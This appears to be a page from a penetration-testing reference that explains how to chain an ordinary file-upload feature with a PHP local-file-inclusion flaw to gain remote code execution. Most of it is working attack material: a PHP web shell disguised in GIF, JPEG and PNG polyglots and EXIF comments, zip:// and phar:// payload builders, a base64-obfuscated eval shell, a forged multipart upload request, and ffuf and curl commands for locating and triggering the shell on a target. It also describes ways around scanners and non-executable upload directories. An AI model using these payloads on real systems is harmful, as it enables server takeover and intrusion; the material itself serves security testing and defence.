Skip to content

File-upload chain

When the application accepts uploads (avatar, attachment, document) and has an LFI sink that executes files, include the uploaded file. The upload doesn’t need to be vulnerable - any upload that ends up on disk works.

# 1. Embed PHP in a file that looks like an image
echo 'GIF8<?php system($_GET["cmd"]); ?>' > shell.gif
# 2. Upload via the application's normal upload feature
# (file is now at /profile_images/shell.gif or similar)
# 3. Include via LFI - inclusion sink executes PHP regardless of extension
?page=./profile_images/shell.gif&cmd=id
# Alternate transports when raw image upload is filtered
?page=zip://./uploads/shell.zip%23inner.php&cmd=id # zip:// wrapper
?page=phar://./uploads/shell.phar/inner.txt&cmd=id # phar:// wrapper

Success indicator: command output in the response after triggering the LFI on the uploaded file.

The key property: the LFI sink decides what’s PHP based on content, not extension. When the function is include() or require(), any file containing <?php ... ?> will execute the PHP code - regardless of whether the file is named .gif, .jpg, .pdf, or .txt.

This means the file upload feature doesn’t need a vulnerability. The web framework’s “this is just an image” check has no bearing on what include() does with the file later. If you can:

  1. Get a file with PHP code onto disk anywhere the LFI can reach, and
  2. Find its path,

…you have RCE.

This chain is the most reliable LFI-to-RCE path on PHP apps because it doesn’t require allow_url_include and doesn’t depend on which wrappers are loaded.

Combine valid image bytes (the “magic bytes” identifying the file type) with PHP code:

Terminal window
# GIF - magic bytes "GIF8" are valid ASCII, easiest to handcraft
echo 'GIF8<?php system($_GET["cmd"]); ?>' > shell.gif

This file:

  • Starts with GIF8 - any image-content sniffer treats it as a (broken but recognizable) GIF
  • Contains valid PHP code
  • Will display as an invalid image in browsers (most don’t error visibly, just show a broken-image icon)
  • Will execute as PHP when include()d

The same technique with other formats:

Terminal window
# JPEG - magic bytes need binary; build with python
python3 -c '
import sys
sys.stdout.buffer.write(b"\xff\xd8\xff\xe0\x00\x10JFIF<?php system($_GET[\"cmd\"]); ?>")
' > shell.jpg
# PNG - similar, slightly more byte gymnastics
python3 -c '
import sys
sys.stdout.buffer.write(b"\x89PNG\r\n\x1a\n<?php system($_GET[\"cmd\"]); ?>")
' > shell.png

GIF is preferred for handcrafting because its magic bytes are printable ASCII. JPEG and PNG work but require building the file with a script.

If the upload check actually decodes the image and verifies dimensions/color depth, the simple “magic bytes + PHP” trick may fail. Workarounds:

  1. Embed in image metadata. EXIF tags accept arbitrary text:

    Terminal window
    exiftool -Comment='<?php system($_GET["cmd"]); ?>' real-image.jpg

    The image remains a valid JPEG (passes any image library’s check), but the EXIF comment contains PHP. When include()’d, PHP scans for <?php ... ?> anywhere in the file and executes.

  2. Append to a real image:

    Terminal window
    cat real-image.png > shell.png
    echo '<?php system($_GET["cmd"]); ?>' >> shell.png

    The PNG decoder reads up to the IEND chunk and stops; the trailing PHP is ignored by image decoders but visible to include().

The File Upload Attacks reference covers more aggressive bypasses (content-type vs. content mismatches, polyglot files). For LFI-chaining purposes, EXIF embedding and trailing-byte appending almost always work.

Upload via the application’s intended upload feature. Examples of common upload sinks:

  • Profile picture / avatar upload
  • Document attachment in tickets, comments, or messages
  • Bulk import via CSV
  • Logo / brand image in admin settings
  • Resume / CV upload in job-board apps
  • Image attachment in CMS / wiki edits

You don’t need the upload to be misconfigured. The straightforward use case - “users can upload an avatar” - is enough.

Many upload endpoints check the Content-Type header in the request, not the file contents. Set it to match a real image:

POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=---X
-----X
Content-Disposition: form-data; name="file"; filename="avatar.gif"
Content-Type: image/gif
GIF8<?php system($_GET["cmd"]); ?>
-----X--

The Content-Type: image/gif line in the multipart body satisfies most lightweight checks. The actual file contents are still the polyglot.

You need the on-disk path of the uploaded file to include it. Several ways to find it:

After uploading, the file usually displays somewhere - view source:

<img src="/profile_images/shell.gif" class="profile-image">

The src attribute is the URL path, which maps directly to the on-disk path in most apps. If the webroot is /var/www/html/ and the URL is /profile_images/shell.gif, the file is at /var/www/html/profile_images/shell.gif.

The upload endpoint often returns the path in JSON:

{
"success": true,
"path": "/profile_images/shell.gif",
"filename": "shell.gif"
}

When the path isn’t disclosed, fuzz for common upload directories:

Terminal window
ffuf -w /opt/useful/SecLists/Discovery/Web-Content/raft-medium-directories.txt:FUZZ \
-u "https://target/FUZZ/shell.gif" \
-mc 200

Common upload directories:

/uploads/
/upload/
/files/
/attachments/
/profile_images/
/avatars/
/img/
/static/uploads/
/public/uploads/
/user_data/
/storage/
/media/

Some apps rename uploaded files (UUID, hash, sequential ID). The application’s UI usually shows the new name. If not, the upload response or a fuzzer hitting common naming patterns (upload_1.gif, upload_2.gif) sometimes reveals it.

Combine the path with the LFI sink:

?page=./profile_images/shell.gif&cmd=id
?page=../../profile_images/shell.gif&cmd=id # if LFI has a path prefix
?page=/var/www/html/profile_images/shell.gif&cmd=id # absolute path

The inclusion executes the PHP code in the file:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

When the LFI sink appends .php:

include($_GET['page'] . ".php");

The naive ?page=./profile_images/shell.gif becomes ./profile_images/shell.gif.php - doesn’t exist.

Two options:

  1. Upload as shell.php instead of shell.gif if the upload validates extension by exact match:

    Terminal window
    echo '<?php system($_GET["cmd"]); ?>' > shell.php

    Many uploads accept arbitrary extensions; some don’t. Test.

  2. Use a wrapper to bypass the extension append - see wrappers or the zip:// / phar:// techniques below.

Useful when the application accepts .zip uploads (file-attachment features sometimes do):

Terminal window
# Step 1 - create the PHP shell
echo '<?php system($_GET["cmd"]); ?>' > shell.php
# Step 2 - zip it, name the archive with an image extension
zip shell.jpg shell.php
# Step 3 - upload shell.jpg
# Step 4 - include via the zip:// wrapper
?page=zip://./profile_images/shell.jpg%23shell.php&cmd=id

The URL-encoded %23 is #, which the zip:// wrapper uses to specify the file inside the archive:

zip://./profile_images/shell.jpg#shell.php
└── archive path ──┘ └ inner file ┘

PHP opens the zip archive, extracts shell.php, runs it.

  • Requires the zip PHP extension. Usually enabled but worth checking via php://filter on php.ini.
  • Some upload validators detect zip archives via content sniffing even when the extension is .jpg - they reject based on content type, not extension. Test.

A PHAR (PHP Archive) is PHP’s executable archive format. Building one with custom contents lets you specify a stub and inner files cleanly.

Terminal window
# Write the script that builds the PHAR
cat > build-phar.php <<'EOF'
<?php
$phar = new Phar('shell.phar');
$phar->startBuffering();
$phar->addFromString('shell.txt', '<?php system($_GET["cmd"]); ?>');
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->stopBuffering();
EOF
# Compile (phar.readonly must be 0 to build)
php --define phar.readonly=0 build-phar.php
# Rename for upload
mv shell.phar shell.jpg

The setStub line marks the start of the PHAR data - everything before __HALT_COMPILER() is treated as the script preamble, everything after is the archive payload.

Terminal window
curl -F "[email protected]" https://target/upload
?page=phar://./profile_images/shell.jpg/shell.txt&cmd=id

URL-encoded form (some apps URL-decode the path before the wrapper sees it):

?page=phar%3A%2F%2F.%2Fprofile_images%2Fshell.jpg%2Fshell.txt&cmd=id
  • The PHAR format has more compatibility than zip across PHP setups - phar:// is part of core PHP, no extension required.
  • File-upload validators sometimes detect the PHAR magic bytes (<?php __HALT_COMPILER();) and reject. EXIF-embedded PHARs avoid this.
  • PHAR deserialization is a separate attack class - when an application calls file_exists() or filesize() on an attacker-controlled phar:// URL, the deserializer triggers and can execute PHP via object instantiation. Outside this section’s scope but worth knowing about.

When the upload directory is non-executable

Section titled “When the upload directory is non-executable”

Some apps configure the upload directory to not execute PHP - e.g., .htaccess with php_flag engine off. This stops direct access to the file as a script (https://target/uploads/shell.php?cmd=id doesn’t work), but LFI execution still works because include() doesn’t go through Apache’s mod_php directive resolution - it’s PHP-internal.

This means LFI + upload chain bypasses upload-directory hardening. The chain is robust precisely because the execution doesn’t happen “in” the upload directory - it happens “in” the LFI sink’s directory.

A more aggressive defense: the upload endpoint scans contents for PHP tags (<?php, <?=, etc.) and rejects/strips them. Workarounds:

  1. Encode the PHP in something the scanner doesn’t decode. Base64-encode the PHP body, then decode at runtime:

    <?php eval(base64_decode("c3lzdGVtKCRfR0VUWyJjbWQiXSk7")); ?>

    The string "c3lzdGVtKCRfR0VUWyJjbWQiXSk7" is system($_GET["cmd"]); base64-encoded. If the scanner only looks for tag-adjacent shell commands, the base64 obfuscation passes.

  2. Use short tags (when enabled):

    <?= system($_GET["cmd"]); ?>

    Some scanners only check for the full <?php opening tag.

  3. Use the zip:// or phar:// chain - the PHP code is inside an archive, not at the file’s top level.

When the LFI is indirect (you set a username/path field that the app uses later), the file-upload chain composes:

1. Register with username "../uploads/shell"
2. Upload shell.gif via the avatar feature → /uploads/shell.gif
3. Trigger any feature that loads "<username>.png" → loads ../uploads/shell.gif (or shell.png if the LFI sink doesn't add extension)

The second-order chain is more constrained but works against some hardened apps that don’t allow direct LFI in any obvious parameter.

Terminal window
# Confirm uploads land in a predictable place
curl -F "file=@/path/to/normal.jpg" https://target/upload
# Look at the response for path, or fetch /uploads/normal.jpg
# Confirm LFI can reach the upload directory
curl "https://target/?page=./uploads/normal.jpg"
# If the JPEG bytes come back, LFI reaches the upload dir - chain is feasible
  • The chain is the most reliable LFI-to-RCE path. Doesn’t need allow_url_include, doesn’t need network egress, doesn’t need rare wrappers. Try this first when wrappers fail.
  • The “image” doesn’t have to be a real image. Apps that don’t decode-and-re-encode uploaded images accept the magic-bytes-prefix trick trivially. The “make a real image” workarounds are only needed when the upload re-encodes the file (less common than you’d think).
  • .htaccess upload is also a chain primitive. When uploads land in a directory and .htaccess is allowed, uploading a malicious .htaccess followed by a PHP file enables PHP execution in the upload directory itself - separate from LFI. Worth knowing for the upload page’s own RCE.
  • Tomcat / Jetty / ASP.NET equivalents. Java apps with WAR upload and inclusion have the same shape - upload a JSP, include it via the LFI sink. ASP.NET with .aspx uploads and <!--#include--> sinks similar. The PHP path is documented in detail because that’s the common case; the structure transfers.
  • phpinfo() temp-file race (legacy, rarely applicable). When a phpinfo() page is exposed and file uploads are enabled, every multipart upload briefly creates a temp file whose random path phpinfo() prints in its output. The classic attack races to include that temp path via the LFI before PHP deletes it at request end. The limiting conditions are the race itself - reading tmp_name from the phpinfo() output and including it concurrently, before request cleanup - plus permission to include the temp file; it is not tied to old PHP and still applies on PHP 8 where those conditions hold (InsomniaSec writeup).